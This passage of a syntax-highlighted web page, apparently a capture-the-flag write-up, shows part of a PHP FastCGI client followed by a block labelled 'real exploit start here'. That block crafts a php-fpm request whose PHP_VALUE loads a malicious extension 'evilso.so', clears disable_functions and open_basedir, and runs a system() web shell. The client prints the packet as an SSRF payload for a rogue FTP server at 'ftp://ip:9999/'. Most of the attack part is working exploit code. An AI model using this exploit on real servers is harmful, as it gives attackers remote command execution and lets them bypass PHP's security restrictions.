</span></span><span class="line"><span class="ln">178</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&amp;</span> <span class="mh">0x7F</span> <span class="o">&lt;&lt;</span> <span class="mi">24</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">179</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">180</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">181</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">}));</span>
</span></span><span class="line"><span class="ln">182</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">183</span><span class="cl">            <span class="nv">$vlen</span> <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">184</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$vlen</span> <span class="o">&gt;=</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">185</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&amp;</span> <span class="mh">0x7F</span> <span class="o">&lt;&lt;</span> <span class="mi">24</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">186</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">187</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">188</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">}));</span>
</span></span><span class="line"><span class="ln">189</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">190</span><span class="cl">            <span class="nv">$array</span><span class="p">[</span><span class="nx">substr</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$p</span><span class="p">,</span> <span class="nv">$nlen</span><span class="p">)]</span> <span class="o">=</span> <span class="nx">substr</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$p</span><span class="o">+</span><span class="nv">$nlen</span><span class="p">,</span> <span class="nv">$vlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">191</span><span class="cl">            <span class="nv">$p</span> <span class="o">+=</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">+</span> <span class="nv">$vlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">192</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">193</span><span class="cl">        <span class="k">return</span> <span class="nv">$array</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">194</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">195</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">196</span><span class="cl"><span class="sd">     * Decode a FastCGI Packet
</span></span></span><span class="line"><span class="ln">197</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">198</span><span class="cl"><span class="sd">     * @param String $data String containing all the packet
</span></span></span><span class="line"><span class="ln">199</span><span class="cl"><span class="sd">     * @return array
</span></span></span><span class="line"><span class="ln">200</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">201</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">decodePacketHeader</span><span class="p">(</span><span class="nv">$data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">202</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">203</span><span class="cl">        <span class="nv">$ret</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">204</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;version&#39;</span><span class="p">]</span>       <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">0</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">205</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;type&#39;</span><span class="p">]</span>          <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">1</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">206</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;requestId&#39;</span><span class="p">]</span>     <span class="o">=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">2</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">3</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">207</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;contentLength&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">4</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">5</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">208</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;paddingLength&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">6</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">209</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;reserved&#39;</span><span class="p">]</span>      <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">7</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">210</span><span class="cl">        <span class="k">return</span> <span class="nv">$ret</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">211</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">212</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">213</span><span class="cl"><span class="sd">     * Read a FastCGI Packet
</span></span></span><span class="line"><span class="ln">214</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">215</span><span class="cl"><span class="sd">     * @return array
</span></span></span><span class="line"><span class="ln">216</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">217</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">readPacket</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">218</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">219</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$packet</span> <span class="o">=</span> <span class="nx">fread</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nx">self</span><span class="o">::</span><span class="na">HEADER_LEN</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">220</span><span class="cl">            <span class="nv">$resp</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">decodePacketHeader</span><span class="p">(</span><span class="nv">$packet</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">221</span><span class="cl">            <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">222</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;contentLength&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">223</span><span class="cl">                <span class="nv">$len</span>  <span class="o">=</span> <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;contentLength&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">224</span><span class="cl">                <span class="k">while</span> <span class="p">(</span><span class="nv">$len</span> <span class="o">&amp;&amp;</span> <span class="nv">$buf</span><span class="o">=</span><span class="nx">fread</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nv">$len</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">225</span><span class="cl">                    <span class="nv">$len</span> <span class="o">-=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$buf</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">226</span><span class="cl">                    <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">]</span> <span class="o">.=</span> <span class="nv">$buf</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">227</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln">228</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">229</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;paddingLength&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">230</span><span class="cl">                <span class="nv">$buf</span><span class="o">=</span><span class="nx">fread</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;paddingLength&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">231</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">232</span><span class="cl">            <span class="k">return</span> <span class="nv">$resp</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">233</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">234</span><span class="cl">            <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">235</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">236</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">237</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">238</span><span class="cl"><span class="sd">     * Get Informations on the FastCGI application
</span></span></span><span class="line"><span class="ln">239</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">240</span><span class="cl"><span class="sd">     * @param array $requestedInfo information to retrieve
</span></span></span><span class="line"><span class="ln">241</span><span class="cl"><span class="sd">     * @return array
</span></span></span><span class="line"><span class="ln">242</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">243</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">getValues</span><span class="p">(</span><span class="k">array</span> <span class="nv">$requestedInfo</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">244</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">245</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">connect</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">246</span><span class="cl">        <span class="nv">$request</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">247</span><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$requestedInfo</span> <span class="k">as</span> <span class="nv">$info</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">248</span><span class="cl">            <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildNvpair</span><span class="p">(</span><span class="nv">$info</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">249</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">250</span><span class="cl">        <span class="nx">fwrite</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">GET_VALUES</span><span class="p">,</span> <span class="nv">$request</span><span class="p">,</span> <span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">251</span><span class="cl">        <span class="nv">$resp</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">readPacket</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">252</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;type&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="nx">self</span><span class="o">::</span><span class="na">GET_VALUES_RESULT</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">253</span><span class="cl">            <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">readNvpair</span><span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">],</span> <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;length&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">254</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">255</span><span class="cl">            <span class="k">throw</span> <span class="k">new</span> <span class="nx">Exception</span><span class="p">(</span><span class="s1">&#39;Unexpected response type, expecting GET_VALUES_RESULT&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">256</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">257</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">258</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">259</span><span class="cl"><span class="sd">     * Execute a request to the FastCGI application
</span></span></span><span class="line"><span class="ln">260</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">261</span><span class="cl"><span class="sd">     * @param array $params Array of parameters
</span></span></span><span class="line"><span class="ln">262</span><span class="cl"><span class="sd">     * @param String $stdin Content
</span></span></span><span class="line"><span class="ln">263</span><span class="cl"><span class="sd">     * @return String
</span></span></span><span class="line"><span class="ln">264</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">265</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">request</span><span class="p">(</span><span class="k">array</span> <span class="nv">$params</span><span class="p">,</span> <span class="nv">$stdin</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">266</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">267</span><span class="cl">        <span class="nv">$response</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">268</span><span class="cl"><span class="c1">//        $this-&gt;connect();
</span></span></span><span class="line"><span class="ln">269</span><span class="cl">        <span class="nv">$request</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">BEGIN_REQUEST</span><span class="p">,</span> <span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">RESPONDER</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nx">int</span><span class="p">)</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span><span class="p">)</span> <span class="o">.</span> <span class="nx">str_repeat</span><span class="p">(</span><span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="mi">5</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">270</span><span class="cl">        <span class="nv">$paramsRequest</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">271</span><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$params</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">272</span><span class="cl">            <span class="nv">$paramsRequest</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildNvpair</span><span class="p">(</span><span class="nv">$key</span><span class="p">,</span> <span class="nv">$value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">273</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">274</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$paramsRequest</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">275</span><span class="cl">            <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">PARAMS</span><span class="p">,</span> <span class="nv">$paramsRequest</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">276</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">277</span><span class="cl">        <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">PARAMS</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">278</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$stdin</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">279</span><span class="cl">            <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">STDIN</span><span class="p">,</span> <span class="nv">$stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">280</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">281</span><span class="cl">        <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">STDIN</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">282</span><span class="cl">        <span class="k">echo</span><span class="p">(</span><span class="s1">&#39;?file=ftp://ip:9999/&amp;data=&#39;</span><span class="o">.</span><span class="nx">urlencode</span><span class="p">(</span><span class="nv">$request</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">283</span><span class="cl"><span class="c1">//        fwrite($this-&gt;_sock, $request);
</span></span></span><span class="line"><span class="ln">284</span><span class="cl"><span class="c1">//        do {
</span></span></span><span class="line"><span class="ln">285</span><span class="cl"><span class="c1">//            $resp = $this-&gt;readPacket();
</span></span></span><span class="line"><span class="ln">286</span><span class="cl"><span class="c1">//            if ($resp[&#39;type&#39;] == self::STDOUT || $resp[&#39;type&#39;] == self::STDERR) {
</span></span></span><span class="line"><span class="ln">287</span><span class="cl"><span class="c1">//                $response .= $resp[&#39;content&#39;];
</span></span></span><span class="line"><span class="ln">288</span><span class="cl"><span class="c1">//            }
</span></span></span><span class="line"><span class="ln">289</span><span class="cl"><span class="c1">//        } while ($resp &amp;&amp; $resp[&#39;type&#39;] != self::END_REQUEST);
</span></span></span><span class="line"><span class="ln">290</span><span class="cl"><span class="c1">//        var_dump($resp);
</span></span></span><span class="line"><span class="ln">291</span><span class="cl"><span class="c1">//        if (!is_array($resp)) {
</span></span></span><span class="line"><span class="ln">292</span><span class="cl"><span class="c1">//            throw new Exception(&#39;Bad request&#39;);
</span></span></span><span class="line"><span class="ln">293</span><span class="cl"><span class="c1">//        }
</span></span></span><span class="line"><span class="ln">294</span><span class="cl"><span class="c1">//        switch (ord($resp[&#39;content&#39;]{4})) {
</span></span></span><span class="line"><span class="ln">295</span><span class="cl"><span class="c1">//            case self::CANT_MPX_CONN:
</span></span></span><span class="line"><span class="ln">296</span><span class="cl"><span class="c1">//                throw new Exception(&#39;This app can\&#39;t multiplex [CANT_MPX_CONN]&#39;);
</span></span></span><span class="line"><span class="ln">297</span><span class="cl"><span class="c1">//                break;
</span></span></span><span class="line"><span class="ln">298</span><span class="cl"><span class="c1">//            case self::OVERLOADED:
</span></span></span><span class="line"><span class="ln">299</span><span class="cl"><span class="c1">//                throw new Exception(&#39;New request rejected; too busy [OVERLOADED]&#39;);
</span></span></span><span class="line"><span class="ln">300</span><span class="cl"><span class="c1">//                break;
</span></span></span><span class="line"><span class="ln">301</span><span class="cl"><span class="c1">//            case self::UNKNOWN_ROLE:
</span></span></span><span class="line"><span class="ln">302</span><span class="cl"><span class="c1">//                throw new Exception(&#39;Role value not known [UNKNOWN_ROLE]&#39;);
</span></span></span><span class="line"><span class="ln">303</span><span class="cl"><span class="c1">//                break;
</span></span></span><span class="line"><span class="ln">304</span><span class="cl"><span class="c1">//            case self::REQUEST_COMPLETE:
</span></span></span><span class="line"><span class="ln">305</span><span class="cl"><span class="c1">//                return $response;
</span></span></span><span class="line"><span class="ln">306</span><span class="cl"><span class="c1">//        }
</span></span></span><span class="line"><span class="ln">307</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">308</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">309</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="ln">310</span><span class="cl"><span class="err">&lt;?php
</span></span></span><span class="line"><span class="ln">311</span><span class="cl"><span class="err">// real exploit start here
</span></span></span><span class="line"><span class="ln">312</span><span class="cl"><span class="err">//if (!isset($_REQUEST[&#39;cmd&#39;])) {
</span></span></span><span class="line"><span class="ln">313</span><span class="cl"><span class="err">//    die(&#34;Check your input\n&#34;);
</span></span></span><span class="line"><span class="ln">314</span><span class="cl"><span class="err">//}
</span></span></span><span class="line"><span class="ln">315</span><span class="cl"><span class="err">//if (!isset($_REQUEST[&#39;filepath&#39;])) {
</span></span></span><span class="line"><span class="ln">316</span><span class="cl"><span class="err">//    $filepath = __FILE__;
</span></span></span><span class="line"><span class="ln">317</span><span class="cl"><span class="err">//}else{
</span></span></span><span class="line"><span class="ln">318</span><span class="cl"><span class="err">//    $filepath = $_REQUEST[&#39;filepath&#39;];
</span></span></span><span class="line"><span class="ln">319</span><span class="cl"><span class="err">//}
</span></span></span><span class="line"><span class="ln">320</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">321</span><span class="cl"><span class="err">$filepath = &#34;/var/www/html/add_api.php&#34;;
</span></span></span><span class="line"><span class="ln">322</span><span class="cl"><span class="err">$req = &#39;/&#39;.basename($filepath);
</span></span></span><span class="line"><span class="ln">323</span><span class="cl"><span class="err">$uri = $req .&#39;?&#39;.&#39;command=whoami&#39;;
</span></span></span><span class="line"><span class="ln">324</span><span class="cl"><span class="err">$client = new FCGIClient(&#34;unix:///var/run/php-fpm.sock&#34;, -1);
</span></span></span><span class="line"><span class="ln">325</span><span class="cl"><span class="err">$code = &#34;&lt;?php system(\$_REQUEST[&#39;command&#39;]); phpinfo(); ?&gt;&#34;; // php payload -- Doesnt do anything
</span></span></span><span class="line"><span class="ln">326</span><span class="cl"><span class="err">$php_value = &#34;unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = &#34;; // extension_dir即为.so文件所在目录
</span></span></span><span class="line"><span class="ln">327</span><span class="cl"><span class="err">$params = array(
</span></span></span><span class="line"><span class="ln">328</span><span class="cl"><span class="err">    &#39;GATEWAY_INTERFACE&#39; =&gt; &#39;FastCGI/1.0&#39;,
</span></span></span><span class="line"><span class="ln">329</span><span class="cl"><span class="err">    &#39;REQUEST_METHOD&#39;    =&gt; &#39;POST&#39;,
</span></span></span><span class="line"><span class="ln">330</span><span class="cl"><span class="err">    &#39;SCRIPT_FILENAME&#39;   =&gt; $filepath,
</span></span></span><span class="line"><span class="ln">331</span><span class="cl"><span class="err">    &#39;SCRIPT_NAME&#39;       =&gt; $req,
</span></span></span><span class="line"><span class="ln">332</span><span class="cl"><span class="err">    &#39;QUERY_STRING&#39;      =&gt; &#39;command=whoami&#39;,
</span></span></span><span class="line"><span class="ln">333</span><span class="cl"><span class="err">    &#39;REQUEST_URI&#39;       =&gt; $uri,
</span></span></span><span class="line"><span class="ln">334</span><span class="cl"><span class="err">    &#39;DOCUMENT_URI&#39;      =&gt; $req,
</span></span></span><span class="line"><span class="ln">335</span><span class="cl"><span class="err">#&#39;DOCUMENT_ROOT&#39;     =&gt; &#39;/&#39;,
</span></span></span><span class="line"><span class="ln">336</span><span class="cl"><span class="err">    &#39;PHP_VALUE&#39;         =&gt; $php_value,
</span></span></span><span class="line"><span class="ln">337</span><span class="cl"><span class="err">    &#39;SERVER_SOFTWARE&#39;   =&gt; &#39;ctfking/Tajang&#39;,
</span></span></span><span class="line"><span class="ln">338</span><span class="cl"><span class="err">    &#39;REMOTE_ADDR&#39;       =&gt; &#39;127.0.0.1&#39;,
</span></span></span><span class="line"><span class="ln">339</span><span class="cl"><span class="err">    &#39;REMOTE_PORT&#39;       =&gt; &#39;9001&#39;, // 找准服务端口
</span></span></span><span class="line"><span class="ln">340</span><span class="cl"><span class="err">    &#39;SERVER_ADDR&#39;       =&gt; &#39;127.0.0.1&#39;,
</span></span></span><span class="line"><span class="ln">341</span><span class="cl"><span class="err">    &#39;SERVER_PORT&#39;       =&gt; &#39;80&#39;,
</span></span></span><span class="line"><span class="ln">342</span><span class="cl"><span class="err">    &#39;SERVER_NAME&#39;       =&gt; &#39;localhost&#39;,
</span></span></span><span class="line"><span class="ln">343</span><span class="cl"><span class="err">    &#39;SERVER_PROTOCOL&#39;   =&gt; &#39;HTTP/1.1&#39;,
</span></span></span><span class="line"><span class="ln">344</span><span class="cl"><span class="err">    &#39;CONTENT_LENGTH&#39;    =&gt; strlen($code)
</span></span></span><span class="line"><span class="ln">345</span><span class="cl"><span class="err">);
</span></span></span><span class="line"><span class="ln">346</span><span class="cl"><span class="err">// print_r($_REQUEST);
</span></span></span><span class="line"><span class="ln">347</span><span class="cl"><span class="err">// print_r($params);
</span></span></span><span class="line"><span class="ln">348</span><span class="cl"><span class="err">//echo &#34;Call: $uri\n\n&#34;;
</span></span></span><span class="line"><span class="ln">349</span><span class="cl"><span class="err">echo $client-&gt;request($params, $code).&#34;\n&#34;;
</span></span></span><span class="line"><span class="ln">350</span><span class="cl"><span class="err">?&gt;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
